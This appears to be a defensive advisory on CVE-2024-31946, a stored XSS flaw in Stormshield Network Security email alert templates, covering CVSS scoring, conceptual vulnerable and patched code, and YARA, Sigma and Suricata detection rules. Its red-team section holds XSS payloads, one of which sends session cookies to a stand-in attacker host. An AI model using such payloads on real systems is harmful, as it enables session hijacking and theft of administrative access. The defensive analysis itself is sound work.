CVE-2024-31946

Executive Summary

CVE-2024-31946 is a stored cross-site scripting (XSS) vulnerability in Stormshield Network Security (SNS) appliances. An authenticated user with write access to the email alerts configuration page can inject malicious JavaScript into alert email templates. This script is executed when the template preview is rendered, potentially leading to session hijacking, credential theft, or further compromise within the administrative interface. The vulnerability affects SNS versions 3.7.0 through 3.7.41, 3.10.0 through 3.11.29, 4.0 through 4.3.24, and 4.4.0 through 4.7.4. Patches are available in versions 3.7.42, 3.11.30, 4.3.25, and 4.7.5.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It is a proprietary appliance vulnerability in Stormshield Network Security software.

CVSS Breakdown & Threat Level

The CVSS v3.1 vector is CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N, resulting in a base score of 4.8 (Medium).

• Attack Vector (AV): Network - The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low - No special conditions are required for exploitation.
• Privileges Required (PR): High - The attacker must have write access to the email alerts configuration page.
• User Interaction (UI): Required - The victim (admin) must preview the malicious template.
• Scope (S): Changed - The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low - Limited information disclosure is possible.
• Integrity (I): Low - Limited modification of data is possible.
• Availability (A): None - No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the requirement for high privileges reduces the immediate risk. However, once an attacker gains such access, the XSS can be used to pivot to other administrative functions.

Deep Dive & Mechanics

The vulnerability resides in the email alert template editor within the Stormshield SNS web interface. The application fails to properly sanitize user-supplied input when creating or editing email alert templates. When an administrator previews a template, the application renders the content without escaping HTML or JavaScript, allowing arbitrary script execution in the context of the admin's browser session.

Attack Flow:

1. An attacker gains authenticated access to the SNS web interface with write privileges on the email alerts page.
2. The attacker creates or modifies an email alert template, injecting malicious JavaScript into the template body.
3. The attacker then tricks an administrator (or themselves, if they have preview access) into previewing the template.
4. The injected JavaScript executes in the admin's browser, allowing the attacker to perform actions such as:
   • Stealing session cookies.
   • Modifying firewall rules.
   • Exfiltrating configuration data.
   • Performing actions on behalf of the admin.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely renders the template content directly without sanitization.

// Vulnerable: Directly inserts user input into HTML
function previewTemplate(templateContent) {
    document.getElementById('preview').innerHTML = templateContent;
}

Patched Code (Conceptual): The patched code sanitizes the input before rendering, using a library like DOMPurify or encoding HTML entities.

// Patched: Sanitizes user input before rendering
function previewTemplate(templateContent) {
    var sanitizedContent = DOMPurify.sanitize(templateContent);
    document.getElementById('preview').innerHTML = sanitizedContent;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Stormshield SNS instance with a vulnerable version.
• Valid credentials with write access to the email alerts configuration.

Exploitation Steps:

1. Log in to the SNS web interface.
2. Navigate to the email alerts configuration page.
3. Create a new alert template or edit an existing one.
4. In the template body, inject the following payload:

   <script>alert('XSS');</script>
   

5. Save the template.
6. Preview the template. The JavaScript will execute.

Advanced Payload (Session Stealing):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor for unusual changes to email alert templates.
• Look for suspicious JavaScript in template content.
• Alert on any execution of scripts in the preview context.

Hunting:

• Search logs for POST requests to endpoints related to email template creation/editing.
• Look for patterns like <script> tags in template content.

Mitigation:

• Immediately apply the vendor patch.
• Restrict write access to the email alerts page to only trusted administrators.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections to unknown or suspicious domains from the SNS appliance.
  • HTTP requests containing <script> tags in the body to the SNS web interface.
• Host:
  • Modified email alert templates containing JavaScript.
  • Unusual entries in the SNS audit logs related to template changes.
• File:
  • Template files containing <script> or onerror attributes.

Detection Engineering

YARA Rule

rule CVE_2024_31946_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Stormshield SNS email templates"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-31946"
    strings:
        $xss1 = "<script" ascii nocase
        $xss2 = "onerror=" ascii nocase
        $xss3 = "onload=" ascii nocase
        $xss4 = "javascript:" ascii nocase
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stormshield SNS Stored XSS in Email Templates
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-31946 by injecting JavaScript into email alert templates
author: Valters IT
logsource:
    product: stormshield
    service: web
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/email_templates/*'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in templates (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-31946 Stormshield SNS Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/email_templates/"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to the following fixed versions:
   • SNS 3.7.42 or later
   • SNS 3.11.30 or later
   • SNS 4.3.25 or later
   • SNS 4.7.5 or later
2. Workaround: If patching is not immediately possible, restrict write access to the email alerts page to only essential personnel. Monitor logs for suspicious template modifications.

Long-Term Mitigations:

• Implement strict input validation and output encoding for all user-supplied data.
• Deploy a Web Application Firewall (WAF) with rules to block XSS payloads.
• Conduct regular security audits and penetration testing.
• Enforce the principle of least privilege for all administrative accounts.

Valters IT - This report is provided for educational and defensive purposes. Unauthorized exploitation of this vulnerability is illegal.